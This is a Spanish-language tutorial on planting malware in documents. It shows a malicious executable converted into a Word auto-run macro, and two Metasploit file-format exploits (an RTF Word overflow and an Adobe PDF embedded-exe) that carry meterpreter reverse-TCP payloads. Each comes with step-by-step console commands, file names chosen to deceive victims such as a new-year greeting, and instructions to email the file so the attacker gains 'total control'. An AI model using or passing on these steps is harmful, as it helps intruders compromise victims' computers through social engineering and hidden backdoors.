Inyectar codigo maligno en un archivo .doc ========================================= Bajar y instalar metasploit http://www.metasploit.com/ abrirlo se va a abrir una consola. poner el archivo malicioso nuestro en c:\metasploit\apps\pro\msf3\tools vamos a c:\metasploit\apps\pro\msf3\tools con la consola y escribimos esto exe2vba.rb infectado.exe evil.vba (el infectado.exe) es el archivo nuestro malicioso vamos a tener ahroa en esa carpeta el archivo evil.vba abrimos el word cualquier version vamos a MACROS, creamos un macro y ponemos la primera porcion del codigo. desde Sub Auto_Open() hasta End Sub Sub AutoOpen() ahora lo guardamos como un archivo .doc de word 97-2003 cerarmos el panel macro (editor de visual basic) y pegamos el shellcode que quedaba (copaiado del evil.vba) en el documento en cuestion. lo guardamos. ahora el que lo abra se infecta. =============================================================== Otro hack para word 2007 word 2010. (en backtrack) =================================== La victima tiene q tener microsoft office abierto tenemos q saber la ip de la victima para plantarle el troyano. ABRIMOS METASPLOT msf >use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof DEFINIENDO EL PAYLOAD Vamos a usar el meterpreter de metasploit para establecer un listener en la PC de la victima. msf exploit( ms10_087_rtf_pfragments_bof) > set payload windows/meterpreter/reverse_tcp MOSTrAR OPCIONES msf >show options CAMBIANDO EL NOMBRE DEL ARCHIVO estamos creando un archivo .RTF y metasploit lo llama por dafult FILENAME. cambiemos el nombre por algo q la victime le guste por ejemplo: newyearsgreeting.rtf msf >set FILENAME newyearsgreeting.rtf CONFIGURANDO EL LOCAL HOST debemos definir el LHOST o local host. este sera el sistema de donde vamos a escuchar lo q viene (nuestra PC) pero puede ser cualquiera. vamos a poner el LHOST con la ip de nuestro PC escuchador, en este caso 192.168.1.100 msf> set LHOST 192.168.1.100 ULTIMO CHECKEO DE OPCIONES antes de explotar el PC de la victima, vamos a checkear q todas las opciones esten bien configuradas. msf> show options el nombre del archivo ahora tendria q llamarse newyearsgreeting.rtf y el LHOST la ip q pusimos recien. EXPLOIT estamos listo para la explotacion. msf > exploit ahora metasplot va a generar el archivo .rtf y ponerlo en la carpeta /root/.msf4/local/newyearsgreeting.rtf ENVIAMOS EL ARCHIVO A LA VICTIMA por mail o algun metodo. cuando abra el archivo, se le va a tildar el word y nos va a dejar a nsotros con la sesion activa para usar el sistema de la victima. ahora vamos a tener CONTROL TOTAL. ============================================================================ HACIENDO UNA CONEXION BACKDOOR CON UN .PDF ============================================ vamos a poner un listener (rootkit) dentro de un .pdf explotando una vulnerabilidad del ADOBE READER. es similar al anterior de word. el exploit sirve para adobe reader 9 o anteriores. abrimos metasplot. msfupdate vamos a buscar el explot apropiado. msf > search type:exploit platform:windows adobe pdf van a aparecer varios exploits elegimos uno. en este caso este y lo ponemos. msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe ahora vamos a ver que onda este exploit: msf > exploit (adobe_pdf_embedded_exe) > info en la descripcion va a decir que "embeds a metasploit payload into a pdf file" el pdf resultante sera enviado a la victima por un procedimiento de ingenieria social. o lo podemos poner para que se lo bajen de algun lado. SETEANDO EL PAYLOAD msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp SETEANDO las OPCIONES msf > exploit (adobe_pdf_embedded_exe) > show options metasploit va a requerir que tengamos un pdf normal al que pueda infectar con el metepreter. acuerdenese q el pdf tendria q haber sido creado con reader 9 o anterior, vamos a ponerlo en el infilename option. msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME cahpter1.pdf Ahora vamo a cambiar el FILENAME default del archivo output con el con el embedded metepreter al mismo chapter1.pdf el nombre default es evil.pdf pero no es muy bueno porq podria ser sospechoso. msf > exploit (adobe_pdf_embedded_exe) > set FILENAME chapter1.pdf ahora seteamos el LHOST (nuestra PC) con nuestra ip o 192.168.100.1 msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.100.1 CHEQUEAMOS LAS CONFIGURACIONES msf > exploit (adobe_pdf_embedded_exe) > show options EXPLOIT ! msf > exploit (adobe_pdf_embedded_exe) > exploit metasploit creara el PDF con nombre chapter1.pdf que va a tener el listener meterpreter, en /root/.msf4/local/chapter1.pdf LISTO , control total.